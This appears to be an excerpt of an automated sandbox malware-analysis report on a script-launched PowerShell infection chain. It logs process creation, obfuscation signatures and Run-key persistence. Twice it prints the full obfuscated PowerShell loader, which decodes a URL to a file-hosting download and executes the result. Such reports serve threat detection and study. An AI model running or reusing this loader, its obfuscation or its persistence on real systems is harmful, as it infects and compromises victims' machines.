eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF886F171C8 push esp; retf 2_2_00007FF886F171C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00FCD632 pushfd ; ret 5_2_00FCD641
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_07650638 push eax; mov dword ptr [esp], ecx 5_2_07650AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_07650AB8 push eax; mov dword ptr [esp], ecx 5_2_07650AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E28CD push ebx; ret 5_2_084E2B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E2A6C push ebx; ret 5_2_084E2B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E0230 pushfd ; ret 5_2_084E0235
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_084E2AF3 push ebx; ret 5_2_084E2B32
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C09AD push ecx; mov dword ptr [esp], ecx 12_2_246C09B6
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C2528 push ss; retf 16_2_058C2557
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C94A4 push edx; ret 16_2_058C94A5
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058BC7B2 push edi; ret 16_2_058BC7B3
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C2F5C pushad ; retf 16_2_058C2F77
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C2EF6 pushad ; retf 16_2_058C2F77
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C2E10 push ecx; iretd 16_2_058C2EBA
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058BC1B4 push ecx; iretd 16_2_058BC1B5
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C294B push edx; iretd 16_2_058C2952
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C4974 push ds; retn 03BDh 16_2_058C497A
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058CE00D push 54F79CCFh; retf 16_2_058CE012
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B7809 pushad ; ret 16_2_058B7836
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B33B0 push edx; retf 16_2_058B33B2
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B7BCD push edx; retf 16_2_058B7BCE
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C931D push edi; ret 16_2_058C932D
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B2321 push edi; ret 16_2_058B2331
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C8B4D push edi; retf 16_2_058C8B5C
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C8B50 push edi; retf 16_2_058C8B5C
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B22F6 push edi; ret 16_2_058B2331
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C324B push ebx; ret 16_2_058C325B
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058B226C push edx; iretd 16_2_058B226D
Source: C:\Windows\SysWOW64\replace.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run YDN4C Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run YDN4C Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
